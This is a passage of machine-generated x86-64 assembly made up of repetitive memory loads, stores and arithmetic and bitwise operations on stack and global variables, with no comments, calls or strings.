mov rcx, qword [rsp + 0xb240]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x41b8], eax
mov rax, qword [rsp + 0xb188]
mov eax, dword [rax]
mov dword [rsp + 0x459c], eax
lea rax, [rsp + 0xf0c]
mov qword [0x14019dab0], rax
movzx eax, byte [rsp + 0x159]
movzx ecx, byte [rsp + 0x153]
sub eax, ecx
mov byte [rsp + 0x195], al
mov rax, qword [rsp + 0xa428]
mov rcx, qword [rsp + 0xb438]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4244], eax
lea rax, [rsp + 0x44d8]
mov qword [rsp + 0xb688], rax
movsx eax, word [0x14019bf80]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa630]
mov word [rcx], ax
mov rax, qword [rsp + 0xb500]
movzx eax, byte [rax]
mov byte [rsp + 0x1d4], al
mov rax, qword [rsp + 0xa890]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
and eax, ecx
mov byte [rsp + 0x1ba], al
lea rax, [0x14019bf00]
mov qword [rsp + 0xb690], rax
mov rax, qword [rsp + 0xa4a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4390]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa4c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa8f8]
mov rcx, qword [rsp + 0xb188]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019d948], eax
mov rax, qword [rsp + 0xaf78]
mov ecx, dword [rsp + 0x4324]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb638]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3fac]
mov dword [rsp + 0x45a0], eax
mov eax, dword [0x14019bf18]
mov ecx, dword [rsp + 0x4534]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x41b4], eax
lea rax, [rsp + 0x1ca]
mov qword [rsp + 0xb698], rax
movzx eax, word [rsp + 0xfac]
movzx ecx, word [rsp + 0x1024]
shl eax, cl
mov word [rsp + 0x1080], ax
mov eax, dword [rsp + 0x424c]
mov ecx, dword [rsp + 0x41dc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4520], eax
lea rax, [rsp + 0x4228]
mov qword [rsp + 0xb6a0], rax
mov rax, qword [rsp + 0xaf80]
mov ecx, dword [rsp + 0x44bc]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xab88]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4540]
mov rcx, qword [rsp + 0xad98]
mov qword [rsp + 0xb6a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb6a8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [0x14019d960]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb678]
movzx eax, byte [rax]
mov byte [rsp + 0x1d5], al
movzx eax, word [rsp + 0xf88]
mov rcx, qword [rsp + 0xab18]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xfb0], ax
movsx eax, byte [rsp + 0x1a1]
movsx ecx, byte [rsp + 0x1a8]
add eax, ecx
mov rcx, qword [rsp + 0xa9e0]
mov byte [rcx], al
mov rax, qword [rsp + 0xae38]
movzx eax, word [rax]
mov word [rsp + 0x1104], ax
mov eax, dword [rsp + 0x4234]
mov ecx, dword [rsp + 0x432c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4274], eax
mov rax, qword [rsp + 0xaab8]
mov eax, dword [rax]
mov dword [rsp + 0x45a4], eax
movzx eax, byte [rsp + 0x17d]
movzx ecx, byte [rsp + 0x1c1]
add eax, ecx
mov byte [rsp + 0x19c], al
movzx eax, word [rsp + 0x10fc]
mov rcx, qword [rsp + 0xa800]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd5c], ax
lea rax, [rsp + 0x4558]
mov qword [0x14019dab8], rax
lea rax, [rsp + 0x43cc]
mov qword [rsp + 0xb6b0], rax
mov rax, qword [rsp + 0xafb8]
mov rcx, qword [rsp + 0xb328]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c48], eax
mov eax, dword [rsp + 0x4148]
mov dword [rsp + 0x45a8], eax
movzx eax, word [rsp + 0x10c8]
mov rcx, qword [rsp + 0xaf98]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa730]
mov word [rcx], ax
mov rax, qword [rsp + 0xa908]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x165]
sub eax, ecx
mov byte [rsp + 0xac], al
mov rax, qword [rsp + 0xb608]
mov rcx, qword [rsp + 0xb080]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4498], eax
mov rax, qword [rsp + 0xb5c0]
mov ecx, dword [rsp + 0x4328]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb430]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3f28]
mov dword [rsp + 0x45ac], eax
lea rax, [0x14019bef8]
mov qword [0x14019dac0], rax
mov eax, dword [rsp + 0x4080]
movzx ecx, al
mov eax, dword [rsp + 0x43e0]
sar eax, cl
mov dword [rsp + 0x4170], eax
lea rax, [rsp + 0x1104]
mov qword [rsp + 0xb6b8], rax
mov rax, qword [rsp + 0xafe8]
movsx eax, byte [rax]
mov rcx, qword [0x14019d798]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xab20]
mov byte [rcx], al
movzx eax, byte [rsp + 0x151]
mov rcx, qword [rsp + 0xad18]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1d1], al
mov rax, qword [rsp + 0xab40]
movzx eax, word [rax]
mov word [rsp + 0x1108], ax
mov eax, dword [rsp + 0x420c]
mov rcx, qword [rsp + 0xb380]
mov qword [rsp + 0xb6c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb6c0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4234], eax
mov rax, qword [rsp + 0xa360]
mov eax, dword [rax]
mov dword [rsp + 0x45b0], eax
movzx eax, byte [rsp + 0x1ab]
movzx ecx, byte [rsp + 0x1b4]
and eax, ecx
mov rcx, qword [rsp + 0xb450]
mov byte [rcx], al
mov rax, qword [rsp + 0xb3d8]
movzx eax, word [rax]
mov rcx, qword [0x14019d8e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019bf0c], ax
mov eax, dword [rsp + 0x4468]
mov ecx, dword [rsp + 0x43f8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xabb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb410]
mov eax, dword [rax]
mov dword [rsp + 0x45b4], eax
mov eax, dword [rsp + 0x42ec]
mov ecx, dword [rsp + 0x438c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41b8], eax
mov eax, dword [rsp + 0x43c0]
mov dword [rsp + 0x45b8], eax
movzx eax, word [rsp + 0xf64]
movzx ecx, word [rsp + 0x103c]
sub eax, ecx
mov rcx, qword [rsp + 0xad50]
mov word [rcx], ax
movzx eax, byte [0x14019d7b4]
mov byte [rsp + 0x1d6], al
mov rax, qword [rsp + 0xaec0]
mov ecx, dword [rsp + 0x43cc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x42e8], eax
mov eax, dword [rsp + 0x4470]
mov ecx, dword [rsp + 0x43cc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa668]
mov dword [rcx], eax
movsx eax, byte [0x14019d795]
mov rcx, qword [rsp + 0xa7a8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x14019bf1e], al
lea rax, [rsp + 0xfec]
mov qword [rsp + 0xb6c8], rax
mov rax, qword [rsp + 0xabb0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x164]
add eax, ecx
mov rcx, qword [rsp + 0xb0c8]
mov byte [rcx], al
lea rax, [0x14019d7b0]
mov qword [rsp + 0xb6d0], rax
mov rax, qword [rsp + 0xb168]
mov rcx, qword [rsp + 0xa368]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x449c], eax
mov eax, dword [rsp + 0x44d0]
mov rcx, qword [rsp + 0xa728]
mov qword [rsp + 0xb6d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb6d8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x43a4], eax
mov rax, qword [rsp + 0xaf18]
mov eax, dword [rax]
mov dword [rsp + 0x45bc], eax
mov rax, qword [rsp + 0xa6b8]
mov ecx, dword [rsp + 0x43e0]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xb420]
mov dword [rcx], eax
mov eax, dword [rsp + 0x437c]
mov dword [rsp + 0x45c0], eax
movzx eax, byte [rsp + 0xac]
movzx ecx, byte [rsp + 0x160]
sar eax, cl
mov byte [rsp + 0x1b4], al
mov rax, qword [rsp + 0xaf98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xec8]
add eax, ecx
mov rcx, qword [0x14019daa8]
mov word [rcx], ax
mov rax, qword [rsp + 0xae98]
mov rcx, qword [rsp + 0xa3a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4420], eax
lea rax, [rsp + 0x43c8]
mov qword [rsp + 0xb6e0], rax
mov rax, qword [rsp + 0xb0c0]
mov ecx, dword [rsp + 0x42a8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4144], eax
mov eax, dword [0x14019bf48]
mov ecx, dword [rsp + 0x45a8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3664], eax
movzx eax, word [rsp + 0x1044]
movzx ecx, word [rsp + 0xea8]
sub eax, ecx
mov word [rsp + 0x10e8], ax
mov rax, qword [rsp + 0xa908]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa540]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa890]
mov byte [rcx], al
movzx eax, byte [rsp + 0x192]
mov byte [rsp + 0x1d7], al
movsx eax, word [rsp + 0x108c]
movsx ecx, word [rsp + 0x1058]
add eax, ecx
mov word [rsp + 0xf30], ax
mov eax, dword [rsp + 0x4320]
mov ecx, dword [rsp + 0x4594]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14019d9b0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x447c]
mov dword [rsp + 0x45c4], eax
movzx eax, word [rsp + 0x1008]
mov rcx, qword [rsp + 0xa828]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb3c8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa5d8]
movzx eax, byte [rax]
mov byte [rsp + 0x1d8], al
mov eax, dword [rsp + 0x44a0]
mov ecx, dword [rsp + 0x4180]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x41ec], eax
mov eax, dword [rsp + 0x4210]
mov ecx, dword [rsp + 0x4314]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb040]
mov dword [rcx], eax
mov eax, dword [rsp + 0x44d4]
mov dword [rsp + 0x45c8], eax
mov rax, qword [rsp + 0xab38]
mov eax, dword [rax]
mov rcx, qword [0x14019d848]
mov qword [rsp + 0xb6e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb6e8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4168], eax
lea rax, [rsp + 0x165]
mov qword [rsp + 0xb6f0], rax
mov rax, qword [rsp + 0xb2f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xebc]
sar eax, cl
mov word [0x14019bfa8], ax
mov rax, qword [0x14019d820]
mov ecx, dword [rsp + 0x45a0]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xa368]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa718]
mov ecx, dword [rsp + 0x45b0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c48], eax
mov eax, dword [rsp + 0x4088]
mov dword [rsp + 0x45cc], eax
mov eax, dword [rsp + 0x4498]
mov ecx, dword [rsp + 0x3ef8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb1a0]
mov dword [rcx], eax
lea rax, [rsp + 0x4438]
mov qword [rsp + 0xb6f8], rax
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1104]
imul eax, ecx
mov rcx, qword [rsp + 0xa688]
mov word [rcx], ax
movsx eax, byte [rsp + 0x14a]
movsx ecx, byte [rsp + 0x199]
and eax, ecx
mov rcx, qword [rsp + 0xad60]
mov byte [rcx], al
lea rax, [rsp + 0x1b1]
mov qword [rsp + 0xb700], rax
mov rax, qword [rsp + 0xa608]
movzx eax, word [rax]
mov rcx, qword [0x14019d9d8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14019d8d0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa8a8]
mov ecx, dword [rsp + 0x4128]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xacc0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x41d8]
mov dword [rsp + 0x45d0], eax
movzx eax, word [rsp + 0xdb8]
mov rcx, qword [rsp + 0xa640]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb508]
mov word [rcx], ax
lea rax, [rsp + 0x1c7]
mov qword [rsp + 0xb708], rax
mov rax, qword [rsp + 0xade8]
mov rcx, qword [rsp + 0xa740]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa8a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xae98]
mov ecx, dword [rsp + 0x4058]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x38f0], eax
mov rax, qword [rsp + 0xa8a0]
mov eax, dword [rax]
mov dword [rsp + 0x45d4], eax
mov eax, dword [rsp + 0x43cc]
mov ecx, dword [rsp + 0x4184]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4550], eax
lea rax, [rsp + 0x10a0]
mov qword [0x14019dac8], rax
mov rax, qword [rsp + 0xa968]
movzx eax, byte [rax]
mov byte [rsp + 0x1d9], al
mov eax, dword [rsp + 0x4280]
mov ecx, dword [rsp + 0x4214]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4250], eax
mov rax, qword [0x14019d9a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c48]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c38], eax
lea rax, [rsp + 0x15a]
mov qword [rsp + 0xb710], rax
mov rax, qword [rsp + 0xa6f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb138]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa578]
mov word [rcx], ax
lea rax, [rsp + 0x165]
mov qword [rsp + 0xb718], rax
movzx eax, word [0x14019bf00]
movzx ecx, word [rsp + 0x1048]
or eax, ecx
mov word [rsp + 0x1070], ax
mov eax, dword [rsp + 0x43c0]
movzx ecx, al
mov eax, dword [rsp + 0x4544]
shl eax, cl
mov dword [rsp + 0x43dc], eax
mov rax, qword [rsp + 0xa8a0]
mov eax, dword [rax]
mov rcx, qword [0x14019d8c0]
mov qword [rsp + 0xb720], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb720]
mov eax, dword [rax]
sar eax, cl
mov dword [0x14019d7e0], eax
mov rax, qword [rsp + 0xab30]
mov ecx, dword [rsp + 0x4260]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3978], eax
mov rax, qword [rsp + 0xaca8]
mov ecx, dword [rsp + 0x428c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x454c], eax
mov rax, qword [rsp + 0xb350]
mov eax, dword [rax]
mov dword [rsp + 0x45d8], eax
mov rax, qword [rsp + 0xb618]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaf58]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1ab]
mov rcx, qword [0x14019d7a0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x194], al
lea rax, [rsp + 0x4000]
mov qword [rsp + 0xb728], rax
mov eax, dword [rsp + 0x41b0]
mov ecx, dword [rsp + 0x3dd0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4524], eax
mov rax, qword [rsp + 0xa7e8]
mov eax, dword [rax]
mov dword [rsp + 0x45dc], eax
lea rax, [0x14019d8b0]
mov qword [0x14019dad0], rax
movzx eax, byte [rsp + 0x157]
mov rcx, qword [rsp + 0xb0b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xabe8]
mov byte [rcx], al
lea rax, [rsp + 0xf78]
mov qword [rsp + 0xb730], rax
mov rax, qword [0x14019d950]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7b]
add eax, ecx
mov rcx, qword [rsp + 0xb180]
mov byte [rcx], al
movsx eax, word [rsp + 0xfec]
movsx ecx, word [rsp + 0xf48]
add eax, ecx
mov word [rsp + 0x1004], ax
lea rax, [rsp + 0x4590]
mov qword [rsp + 0xb738], rax
mov rax, qword [rsp + 0xac70]
mov ecx, dword [rsp + 0x36fc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x44d4], eax
movzx eax, word [rsp + 0xb08]
mov word [rsp + 0x110c], ax
mov rax, qword [rsp + 0xb5b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb2d0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xb1b0]
mov byte [rcx], al
mov rax, qword [rsp + 0xab50]
mov rcx, qword [rsp + 0xace0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14019bef4], eax
mov rax, qword [rsp + 0xafb8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x45c0]
sar eax, cl
mov dword [rsp + 0x4308], eax
lea rax, [rsp + 0x4294]
mov qword [rsp + 0xb740], rax
mov eax, dword [rsp + 0x3e24]
mov rcx, qword [rsp + 0xb048]
mov qword [rsp + 0xb748], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb748]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4514], eax
movzx eax, byte [rsp + 0x1d0]
mov byte [rsp + 0x1da], al
mov rax, qword [rsp + 0xa4d0]
movzx eax, word [rax]
mov rcx, qword [0x14019d968]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xb270]
mov word [rcx], ax
mov rax, qword [rsp + 0xa5c8]
mov ecx, dword [rsp + 0x4580]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xadf8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x36fc]
mov dword [rsp + 0x45e0], eax
mov rax, qword [rsp + 0xa708]
mov ecx, dword [rsp + 0x434c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb380]
mov dword [rcx], eax
lea rax, [rsp + 0x3400]
mov qword [0x14019dad8], rax
mov rax, qword [rsp + 0xaaf0]
mov eax, dword [rax]
mov dword [rsp + 0x45e4], eax
movsx eax, byte [rsp + 0x1d7]
mov rcx, qword [rsp + 0xa8b0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xabd8]
mov byte [rcx], al
movsx eax, word [0x14019bf64]
mov rcx, qword [rsp + 0xb6b8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1074], ax
movzx eax, byte [rsp + 0x1c3]
mov byte [rsp + 0x1db], al
mov rax, qword [rsp + 0xb3c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xad10]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xaf40]
mov word [rcx], ax
lea rax, [rsp + 0x4364]
mov qword [rsp + 0xb750], rax
mov rax, qword [rsp + 0xa600]
mov rcx, qword [rsp + 0xb3e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa9d0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x180]
mov byte [rsp + 0x1dc], al
mov rax, qword [rsp + 0xa868]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xff8]
add eax, ecx
mov rcx, qword [0x14019d8f8]
mov word [rcx], ax
mov rax, qword [rsp + 0xaf88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x40f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4500], eax
mov eax, dword [0x14019bf78]
mov ecx, dword [rsp + 0x4330]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c38], eax
mov rax, qword [rsp + 0xaa10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4574]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3334], eax
mov rax, qword [rsp + 0xaf88]
mov ecx, dword [rsp + 0x4514]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xacc8]
mov dword [rcx], eax
lea rax, [rsp + 0xef8]
mov qword [rsp + 0xb758], rax
movzx eax, byte [rsp + 0x1a7]
movzx ecx, byte [rsp + 0x16e]
sar eax, cl
mov rcx, qword [rsp + 0xb678]
mov byte [rcx], al
mov eax, dword [rsp + 0x3af4]
mov rcx, qword [rsp + 0xae90]
mov qword [rsp + 0xb760], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb760]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xae80]
mov dword [rcx], eax
lea rax, [0x14019d8b0]
mov qword [rsp + 0xb768], rax
lea rax, [rsp + 0x10e4]
mov qword [0x14019dae0], rax
mov rax, qword [rsp + 0xb180]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x184]
and eax, ecx
mov rcx, qword [rsp + 0xad80]
mov byte [rcx], al
mov rax, qword [rsp + 0xb698]
movzx eax, byte [rax]
mov byte [rsp + 0x1dd], al
mov rax, qword [rsp + 0xa380]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb178]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb100]
mov word [rcx], ax
mov rax, qword [rsp + 0xb438]
mov rcx, qword [rsp + 0xa4d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb170]
mov dword [rcx], eax
mov rax, qword [0x14019d888]
mov eax, dword [rax]
mov dword [rsp + 0x45e8], eax
mov eax, dword [rsp + 0x4318]
mov ecx, dword [rsp + 0x4334]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x41b8], eax
lea rax, [rsp + 0x424c]
mov qword [rsp + 0xb770], rax
mov rax, qword [rsp + 0xa3b8]
mov ecx, dword [0x14019d790]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa7e8]
mov dword [rcx], eax
lea rax, [rsp + 0x16e]
mov qword [rsp + 0xb778], rax
movzx eax, word [rsp + 0xb34]
mov word [0x14019dae8], ax
mov rax, qword [rsp + 0xb468]
mov ecx, dword [rsp + 0x44d0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x43b4], eax
mov rax, qword [rsp + 0xb188]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41a8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x43d8], eax
mov eax, dword [rsp + 0x41dc]
mov dword [rsp + 0x45ec], eax
mov eax, dword [rsp + 0x435c]
mov ecx, dword [rsp + 0x4220]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x44b0], eax
movzx eax, byte [0x14019bf07]
mov byte [rsp + 0x1de], al
mov rax, qword [rsp + 0xae20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb08]
sub eax, ecx
mov rcx, qword [rsp + 0xa548]
mov word [rcx], ax
movsx eax, word [rsp + 0x1088]
movsx ecx, word [0x14019bf64]
add eax, ecx
mov word [rsp + 0x106c], ax
movzx eax, byte [rsp + 0x182]
mov byte [rsp + 0x1df], al
mov eax, dword [rsp + 0x418c]
mov rcx, qword [rsp + 0xa728]
mov qword [rsp + 0xb780], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb780]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [0x14019d9e8]
mov dword [rcx], eax
mov eax, dword [0x14019bf50]
mov ecx, dword [rsp + 0x45dc]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa920]
mov dword [rcx], eax
mov rax, qword [rsp + 0xac58]
movzx eax, word [rax]
mov word [rsp + 0x1110], ax
mov rax, qword [rsp + 0xa940]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa9c0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1cc], al
mov rax, qword [rsp + 0xb4f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4180]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x41f4], eax
mov eax, dword [rsp + 0x43f4]
mov dword [rsp + 0x45f0], eax
mov rax, qword [rsp + 0xaa08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x45e0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c48], eax
lea rax, [rsp + 0x3ce4]
mov qword [rsp + 0xb788], rax
movzx eax, word [rsp + 0xf90]
mov rcx, qword [rsp + 0xac58]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb178]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1a5]
movzx ecx, byte [rsp + 0x1aa]
add eax, ecx
mov byte [0x14019bf0b], al
mov rax, qword [rsp + 0xb6a0]
mov rcx, qword [rsp + 0xb380]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3f28], eax
lea rax, [rsp + 0x3ce4]
mov qword [rsp + 0xb790], rax
mov rax, qword [rsp + 0xb5c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x400c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4384], eax
mov eax, dword [rsp + 0x44d8]
mov dword [rsp + 0x45f4], eax
mov rax, qword [rsp + 0xa6e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4338]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x44ac], eax
lea rax, [rsp + 0xf7c]
mov qword [rsp + 0xb798], rax
movsx eax, byte [rsp + 0x196]
movsx ecx, byte [0x14019d796]
sub eax, ecx
mov rcx, qword [rsp + 0xa818]
mov byte [rcx], al
movzx eax, word [rsp + 0xf10]
movzx ecx, word [rsp + 0xfd4]
and eax, ecx
mov word [rsp + 0x1084], ax
movzx eax, byte [rsp + 0x1c1]
mov rcx, qword [rsp + 0xaea0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14019bf1f], al
mov rax, qword [rsp + 0xb458]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x423c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c60], eax
mov rax, qword [rsp + 0xb528]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x43e8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f5c], eax
mov rax, qword [rsp + 0xaf48]
movzx eax, byte [rax]
mov byte [rsp + 0x1e0], al
mov rax, qword [rsp + 0xb538]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaed0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xae20]
mov word [rcx], ax
mov eax, dword [rsp + 0x4508]
mov rcx, qword [rsp + 0xb1a0]
mov qword [rsp + 0xb7a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb7a0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x42fc], eax
mov rax, qword [rsp + 0xb2b0]
mov eax, dword [rax]
mov dword [rsp + 0x45f8], eax
mov eax, dword [rsp + 0x45ec]
mov ecx, dword [rsp + 0x458c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaa10]
mov eax, dword [rax]
mov dword [rsp + 0x45fc], eax
mov rax, qword [rsp + 0xaae8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1028]
and eax, ecx
mov word [0x14019da2c], ax
mov rax, qword [rsp + 0xadb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb448]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1a0], al
mov rax, qword [rsp + 0xb550]
mov ecx, dword [rsp + 0x4284]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3da0], eax
mov rax, qword [rsp + 0xb788]
mov eax, dword [rax]
mov dword [rsp + 0x4600], eax
mov rax, qword [rsp + 0xa7d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14b]
add eax, ecx
mov rcx, qword [rsp + 0xb710]
mov byte [rcx], al
movzx eax, word [rsp + 0x1094]
mov word [rsp + 0x1114], ax
mov rax, qword [rsp + 0xb428]
movzx eax, byte [rax]
movzx ecx, byte [0x14019bf1f]
sub eax, ecx
mov rcx, qword [rsp + 0xaeb0]
mov byte [rcx], al
lea rax, [rsp + 0xf98]
mov qword [rsp + 0xb7a8], rax
mov rax, qword [rsp + 0xae00]
mov rcx, qword [rsp + 0xb0d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb6a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xad30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41a8]
sub ecx, eax
mov eax, ecx
